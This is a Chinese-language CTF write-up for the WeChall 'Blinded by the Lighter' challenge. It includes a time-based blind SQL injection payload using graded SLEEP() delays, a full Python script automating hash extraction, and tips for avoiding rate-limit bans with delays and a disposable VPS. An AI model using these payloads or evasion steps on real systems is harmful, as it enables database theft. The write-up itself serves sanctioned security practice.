WeChall - Blinded by the lighter

Blinded by the Lighter 是一道 blind SQL injection 题,要求在每轮最多 33 次查询的硬限制下,连续成功 3 轮提取 32 位 hex hash,且总时间不得超过 9 分钟。核心思路是用 SLEEP() 的时间侧信道把 16 个字符映射为不同延迟,每字符仅需 1 次查询。

Challenge

  • 每轮 33 次查询上限
  • 连续成功 3 轮
  • 9 分钟时间限制(BLIGHT2_TIME = 540s
  • 字符集 ABCDEF0123456789
  • 无 addslashes/escape,过滤 /*blight

Solution

Oracle: PHP Time

页面 footer 精确显示服务端执行时间(精度 ~0.02s),利用 SLEEP() 映射 16 字符为不同时长,1 query/char,32 次刚好卡在 33 限制内。

1
2
3
4
5
6
' or ''='' and (
if(substr(password,1,1)='a', sleep(1.2), 1) and
if(substr(password,1,1)='b', sleep(2.4), 1) and
...
if(substr(password,1,1)='9', sleep(19.2), 1)
)-- -

round(PHP_Time / 1.2) → 字符索引。

关键细节

不能轮间 resetblightReset(true) 会清零 consecutive counter。blightSolved() 成功提交后自动调用 blightReset(false) 生成新 hash 但保留计数。所以只应在最初 reset 一次。

1
2
3
4
5
s.get(URL + '?reset=me')  # 只此一次
for rn in range(3):
hash = extract()
s.post(URL, {'thehash': hash, 'mybutton': 'Enter'})
# blightSolved() 内部已 reset(false),无需手动

STEP=1.2 — 比 1.5 快(avg 10.2s vs 12.75s),比 1.0 可靠(避免 round() 边界误判)。

requests.Session — 保持 TLS 连接,overhead ~0.4s/req。比 curl 子进程快 30%+。

0.5s 请求间隔 — 避免触发 WeChall 速率限制(~100 次连续请求后 IP 封禁)。

Vultr VPS — 本地网络在代理后 12-15 次请求即受限,需干净 IP。vc2-1c-1gb ($5/mo) 足够,3 轮结束即销毁。

实测数据

Round Time Hash
1 306s b87c01fcbab910c9f6efb47b58cb57db
2 396s ac56aee1f4bbb83845f6beb461cf1b15
3 457s 6ea2f347f4e3093a0a4c4ec6fd0b1959

总计 306+10+396+10+457 = 1179s(含 10s 轮间冷却)。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
"""16-level sleep, STEP=1.2, 0.5s delay between requests."""

import requests
import re
import time
import sys
from requests.adapters import HTTPAdapter

# 替换为你的 WeChall session cookie
C = {'WC': '<your_wechall_cookie>'}
U = 'https://www.wechall.net/challenge/blind_lighter/index.php'
M = ' abcdef0123456789'
S = 1.2 # Faster than 1.5, more reliable than 1.0

s = requests.Session()
s.headers.update({'User-Agent': 'Mozilla/5.0'})
s.cookies.update(C)
s.mount('https://', HTTPAdapter(1, 1, 1))


def post(d, t=60):
return s.post(U, data=d, timeout=t, headers={'Referer': U}).text


def get(url, t=20):
return s.get(url, timeout=t).text


def pt(b):
"""Extract PHP Time value from response body."""
m = re.search(r'PHP Time:\s*([\d.]+)s', b)
return float(m.group(1)) if m else None


def ex(pos):
"""Extract single character at position <pos> using 16-level sleep oracle."""
conds = [
f"if(substr(password,{pos},1)='{M[i]}', sleep({i * S}), 1)"
for i in range(1, 17)
]
pl = "' or ''='' and (" + ' and '.join(conds) + ')-- -'
t = pt(post({'injection': pl, 'inject': 'Inject'}, 60))
if t is None:
return '?'
i = round(t / S)
if 1 <= i <= 16:
return M[i]
# Rounding edge case: try ±1
for o in [-1, 1]:
if 1 <= i + o <= 16:
return M[i + o]
return '?'


def rd(rn):
"""Run one round: extract 32-char hash and submit."""
h = ''
t0 = time.time()
for pos in range(1, 33):
h += ex(pos)
if pos % 8 == 0 or pos == 32:
print(f' R{rn} [{pos}/32] {h} ({time.time() - t0:.0f}s)')
sys.stdout.flush()
time.sleep(0.5) # Rate limit avoidance
t = time.time() - t0
body = post({'thehash': h, 'mybutton': 'Enter'}, 60)
if 'Your answer is correct' in body:
print(f' R{rn} SOLVED!({t:.0f}s)')
return 's'
elif 'Wow' in body:
print(f' R{rn} OK({t:.0f}s)')
return 'c'
print(f' R{rn} BAD({t:.0f}s) h={h}')
return 'x'


get(U + '?reset=me')
time.sleep(1)

for rn in range(1, 4):
print(f'=== R{rn} ===')
sys.stdout.flush()
r = rd(rn)
if r == 's':
print('\nSOLVED!')
sys.exit(0)
if r == 'x':
sys.exit(1)
if rn < 3:
print(' [cool 10s]')
sys.stdout.flush()
time.sleep(10)

print('Done.')